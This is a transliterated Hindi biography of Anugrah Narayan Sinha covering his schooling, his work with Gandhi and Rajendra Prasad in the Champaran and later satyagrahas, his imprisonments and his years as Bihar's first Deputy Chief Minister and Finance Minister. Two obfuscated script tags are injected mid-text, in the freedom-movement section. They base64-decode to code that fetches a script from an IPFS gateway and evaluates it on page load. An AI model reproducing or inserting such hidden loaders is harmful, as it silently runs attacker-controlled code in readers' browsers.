अनुग्रह नारायण सिंह

anugrah narayan sianh
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poora nam	anugrah narayan sianh
any nam	anugrah baboo
janm	18 joon ,1887
janm bhoomi	bihar
mrityu	5 julaee, 1957
mrityu sthan	patana
nagarikata	bharatiy
parti	bharatiy rashtriy kaangres
pad	bihar ke pratham up mukhyamantri
kary kal	2 janavari, 1946 se 05 julaee,1957
shiksha	snatak, bi. el., qanoon mean mastar digri aur d aauktaret
vidyalay	kalakatta vishvavidyalay, presideansi k aaulej (kalakatta)
bhasha	hindi,aangrezi
puraskar-upadhi	bihar vibhooti
vishesh yogadan	bharat ki svatantrata, ahiansak andolan, satyagrah
sanbandhit lekh	asahayog aandolan, namak satyagrah adi

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anugrah narayan sianh (aangrezi: Anugrah Narayan Sinha, janm: 18 joon ,1887; mrityu: 5 julaee, 1957) bharatiy rajaneta aur bihar ke pahale up mukhyamantri, sah vittamantri (1946-1957) the. anugrah baboo (1887-1957) bharat ke svatantrata senani, shikshak, vakil, rajanitijn tatha adhunik bihar ke nirmata rahe the. unhean 'bihar vibhooti' ke roop mean jana jata tha. vah svadhinata aandolan ke yoddha the. svadhinata ke bad rashtr nirman v janakalyan ke karyo mean unhoanne sakriy yogadan diya. anugrah baboo ne mahatma gaandhi evan d aau. rajendr prasad ke sath rashtriy andolan mean mahattvapoorn bhoomika nibhayi.

adhunik bihar ke nirmata

d aau. anugrah narayan sinha manavatavadi pragatishil vicharak evan dalitoan ke utthan ke prabal samarthak aur adhunik bihar ke nirmataoan mean se ek the. unaka jivan darshan desh ki akhand svatantrata aur navanirman ki bhavanaa se sarabor raha. unaka saubhy, snigdh, shital, paropakari, ahankarahin aur darpodipt shakhsiyat bihar ke janaganaman par adhikar kie hue tha. ve sharir se durbal, krishakay the, par is arth mean mahapran koee sankat unake othoan ki muskurahat nahian chhin saka. unamean shakti aur shil ekakar ho gaye the aur isilie ve buddhijiviyoan ko vishesh priy the. bihar ke vikas mean unaka yogadan atulaniy hai. rajy ke prashasanik dhaancha ko taiyar karane ka kam anugrah baboo ne kiya tha. inhoanne rajy ke pratham up mukhyamantri aur sah vittamantri ke roop mean 11 varshoan tak bihar ki anavarat seva ki.

praranbhik jivan

anugrah baboo ka janm bihar ke poeeava namak gaanv mean 18 joon, 1887 ko hua tha. unake pita thakur visheshvar dayal sianh ji apane ilake ke ek vir purush the. paanch basant jab ve par kar gaye to unaki shiksha ka shriganesh hua. sanh‌ 1900 mean aurangabad midil skool, 1904 mean gaya zila skool aur 1908 mean patana k aaulej mean pravisht hue. jis samay ye patana k aaulej mean aye, us samay desh ke shikshit vyaktiyoan ke hriday mean paratantrata ki vedana ka anubhav hone laga tha. gulami ki janjir mean jaqadi huee manavata ka chitkar ab unhean sunayi p़dane laga tha. ve us janjir ko to d pheankane ke lie vyakul hone lage the. surendranath banarji tatha yogiraj araviand jaisi mahanh atmaoan ka pradurbhav ho chuka tha. in mahanh atmaoan ke karyakalapoan tatha vyakhyanoan ka samuchit prabhav anugrah baboo ke hriday par p़da. unaka hriday bhi bharat mata ki seva ke lie t dap utha aur ve us pavan marg par agrasar ho gaye. sarphooddin ke netritv mean ‘bihari chhatr sammelan’ namak sanstha sangathit ki gee, jisamean desharatn d aau. rajendr baboo aise medhavi chhatroan ko kary karane tatha netritv karane ka suavasar prapt hua.

bharatiy svatantrata aandolan

chitr:Blockquote-open.gif mera parichay anugrah baboo se bihari chhatr sammelan mean hi pahale pahal hua tha. maian unaki sangathan shakti aur hath mean ae hue kary mean utsah dekhakar mugdh ho gaya aur vah bhavana samay bitane se kam n hokar adhik gahari hoti gee. chitr:Blockquote-close.gif - desharatn d aau. rajendr prasad

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>inhoanne aangrejoan ke viruddh champaran se apana satyagrah aandolan shuroo kiya tha. anugrah baboo ke hriday mean seva ki uchch bhavana to balyakal se hi tha, use kary roop mean parinat karane tatha use poorn roop se vikasit karane ka suavasar bhi unhean is sangathan mean pravisht hone par mil gaya. sanh‌ 1910 mean aee e ki pariksha bhi unhoanne pratham shreni mean pas ki phir bie mean pravesh kiya. usi varsh mahamana polak sahab jo mahatma gaandhi ke sahakarmi the, patana padhare, afrika ke pravasi bharatiyoan ke bare mean jo unaka vyakhyan hua. usase anugrah baboo bahut prabhavit hue. usi varsh prayag mean akhil bharatiy kaangres adhiveshan hua, jisamean ve apani utsahi sahapathiyoan ke sath gaye. us adhiveshan mean mahamana gokhale adi vidvanh rashtrabhaktoan ke bhashanoan ko sunane ka svarn avasar bhi inhean prapt hua, jisase ve b़de prabhavit hue. anugrah baboo vidyarthi jivan mean hi sangathanashakti tatha kary sanchalan ki kabiliyat hasil kar li thi. sanh‌ 1914 mean itihas se em.e. karane ke bad 1915 mean bi el ki pariksha mean bhi saphalata prapt ki. bhagalapur ke tejanarayan juvil k aaulej mean itihas ke ek prophesar ki avashyakata huee. apane sathiyoan ke paramarsh karane ke pashchath turant unhoanne apana avedan patr bhej diya aur us pad par unaki niyukti ho gee. varsh 1916 mean unhoanne k aaulej ki naukari se tyagapatr de diya aur patana haeekort mean vakalat praranbh kar di. vakalat ke silasile mean saralata ki moorti desharatn rajendr baboo ke sansarg mean adhik rahane ka suavasar bhi inhean prapt hua aur unase peshe ko unnat karane ki prerana bhi mili. kalakatte mean bhi unhean rajendr baboo ke sampark mean rahane ka svarn avasar mila tha. jis samay rajendr baboo l aau k aaulej mean adhyapak the, usi samay usi k aaulej mean ve ek vidyarthi the. isaliye ve rajendr baboo ki pratishtha kiya karate the.

gaandhiji ka satyagrah

unhean vakalat karate hue abhi ek varsh bhi nahian bita tha ki champaran mean nil aandolan uth khada hua. is aandolan ne unake jivan ki dhara hi badal di. champaran ke kisanoan ki tabahi ka samachar jab mahatma gaandhi se sune to ve karuna se vichalit ho uthe.

chitr:Blockquote-open.gif jo deshabhakt jel mean anugrah baboo ke chauke mean khate the, ve jab jel se nikale to yah kahate nikale ki anugrah baboo sachamuch praant ke arthamantri pad ke yogy haian. is kam mean unase koee bazi nahian mar sakata."- chitr:Blockquote-close.gif - rashtrakavi ramadhari sianh dinakar

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mujaffarapur ke kamishnar ki ray ke viruddh gaandhiji champaran gaye aur jaanch kary praranbh kar diya. [[chitr:Champaran Satyagraha.jpg|thumb|220px|chanparan satyagrah aandolan ke dauran d aau. rajendr prasad aur anugrah narayan sinha]] atyacharoan ki jaanch praranbh huee. isamean kuchh aise vakiloan ki avashyakata thi, jo nirbhikata poorvak kary kar sakean aur samay ane par jel jane ke lie bhi taiyar rahean. is vikat kary ke lie vrij kishor baboo ke protsahan par rajendr baboo ke sath hi anugrah baboo bhi tatpar ho gaye. unhoanne isaki tanik bhi chianta nahian ki ki unaka pesha naya hai aur unhean bhari kshati uthani p़d sakati hai. ek bar jo tyag ke marg par age b़dh chuka hai, use bhala in tuchchh chizoan ka kya bhay ho sakata hai. champaran ka kisan aandolan 45 mahinoan tak zor shor se chalata raha. anugrah baboo barabar usamean kam karate rahe aur akhir tak date rahe . svavalanban aur atmanirbharata ka path unhean gaandhiji ke ashram mean hi rahakar p़dhane ka suavasar prapt hua. anugrah baboo ne champaran ke nil aandolan mean gaandhiji ke sath lagan aur nirbhikata ke sath kam kiya aur aandolan ko saphal banakar unake adeshanusar 1917 mean patana aye. bapoo ke sath rahane se unhean jo atmik bal prapt hua, vahi inake jivan ka sanbal bana. sanh‌ 1920 ke disanbar mean nagapur mean kaangres ka varshik adhiveshan hua, jisamean anugrah baboo ne bhi bhag liya. sanh‌ 1929 ke disanbar mean saradar patel ne kisan sangathan ke silasile mean muanger adi shaharoan ka daura kiya, tab anugrah baboo sabhi jagah unake sath the. 26 janavari 1930 ko sare desh mean svatantrata ki ghoshana p़dhi gee. anugrah baboo ko bhi kee sthanoan mean ghoshana patr p़dhana p़dha. kuchh dinoan ke bad mahatma gaandhi ne namak satyagrah aandolan shuroo kar diya. us silasile mean unhean champaran, mujaffarapur adi sthanoan ka daura karana p़da. 26 janavari, 1933 ko jab patana mean ghoshana p़dh rahe the, usi samay unhean giraphtar kar liya gaya. unhean pandrah mas ki saza huee aur unhean hazaribag jel bhej diya gaya. jis samay ve jel mean the, bihar mean itihas vikhyat pralayankari bhookanp aya. hriday vidarak samacharoan ko p़dhakar unaka hriday dard se karah utha. chaharadivari ke aandar band rahane ke karan ye koee rahat kary nahian kar sakate the. lekin sarakar ne tin haphtoan ke bad inhean chh़od diya. chhootate hi anugrah baboo rahat kary mean sanlagn ho gaye. rajendr baboo ke sath kandhe se kandha milakar inhoanne athak parishram ke sath pi dit manavata ki seva ki. mujaffarapur, muanger adi shaharoan ka daura kiya. isake liye rajendr baboo ki adhyakshata mean ek kameti bani, jisake upadhyaksh anugrah baboo chune gaye tatha khoob lagan ke sath seva kary kiya. sanh‌ 1940 ko march mahine mean akhil bharatiy kaangres ka adhiveshan ramagadh mean hua. adhiveshan ka sanpoorn bhar anugrah baboo ke kandhe par tha. usamean jo apani tatparata dikhalaee usake phalasvaroop hi kaangres ka adhiveshan saphal hua. desh ki paristhiti ko dekhate hue jab gaandhiji ne vyaktigat satyagrah apanaya tab unake priy sahayogi anugrah baboo kab chookane vale the. phalasvaroop 1940 ko vah giraphtar kar liye gaye aur agast 1941 mean riha hue.

'mujhe apane lie chianta nahian hai, kiantu desh ke lie mujhe chianta hai.’ bihar vibhooti d aau. anugrah narayan sinha

gaandhiji ka ‘karo ya maro’ ka nara buland hua. 7 agast, 1942 ko gaandhiji giraphtar kiye gaye. sare desh mean ek bar hi bijali ki tarah aandolan ki ag phail gee. kaangres kamitiyaan jabt kar li gee aur kaangres neta jahaan ke tahaan giraphtar kar liye gaye. 10 agast ko anugrah baboo bhi jab apane mitroan se milane gaye, ekaek marg mean hi giraphtar kar liye gaye. sanh‌ 1944 mean jab sare kaangresi neta jel se mukt kiye jane lage, to anugrah baboo bhi karavas ki kaid se azad kar diye gaye.

bihar ke pahale up mukhyamantri sah vitt mantri

thumb|left|250px|anugrah narayan sianh 1937 mean hi baboo sahab bihar prant ke vitt mantri bane. anugrah baboo bihar vidhanasabha mean 1937 se lekar 1957 tak kaangres vidhayak dal ke up neta the. 1946 mean jab doosara mantrimandal bana tab vitt aur shram donoan vibhagoan ke pahale mantri bane aur unhoanne apane mantritv kal mean visheshakar shram vibhag mean apani nyay priyata lokataantrik vicharadhara evan shramikoan ke prati apani pratibaddhata ka jo parichay diya vah sarahaniy hi nahian anukaraniy hai. shram mantri ke roop mean anugrah baboo ne ‘bihar kendriy shram paramarsh samiti’ ke madhyam se shram prashasan tatha shramik samasyaoan ke samadhan ke lie jo niyam evan pravadhan banaye ve aj poore desh ke liye mapadand ke roop mean kam karate haian. tritiy mantrimandal mean unhean khad, bij, mith‌ti, maveshi mean sudhar lane ke lie shodh kary karavae aur pahali bar japani dhang se dhan upajane ki paddhati ka prachar karaya. poosa ka krishi anusandhan pharm unaki hi den hai.

nidhan

is tejasvi mahapurush ka nidhan 5 julaee, 1957 ko unake nivas sthan patana mean bimari ke karan hua. unake samman me tatkalin mukhyamantri ne sat din ka rajakiy shok ghoshit kiya, unake antim sanskar mean vishal janasamooh upasthit tha. anugrah baboo 2 janavari, 1946 se apani mrityu tak bihar ke up mukhyamantri sah vitt mantri rahe.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• anugrah baboo ki jivani
• bihar vibhooti d aau. anugrah narayan sinha
• bihar vibhooti d aau anugrah narayan sinha: rashtrakavi ramadhari sianh dinakar ke sansmaran
• sadagi ki pratimoorti the bihar vibhooti anugrah baboo
• bharat ko azadi dilane mean d aau. anugrah baboo ka atulaniy yogadan:rajyapal
• bihar vibhooti d aau. anugrah narayan sianh ki jayanti
• anugrah baboo ko shraddhaanjali
• adhunik bharat ke nirmata the anugrah baboo : rajyapal
• lokatantr ke sachche prahari the da anugrah baboo
• anugrah baboo ke jivan se sikh lene ki zaroorat hai-rajyapal
• bihar ke svatantrata senani
• mahatma gaandhi ki satyagrah prayogashala
• lokasabha ka jalasthal
• sampoorn kraanti
• anugrah narayan sinha vyavasay prabandhan sansthan, raanchi
• anugrah narayan sianh mahavidyalay, patana

sanbandhit lekh

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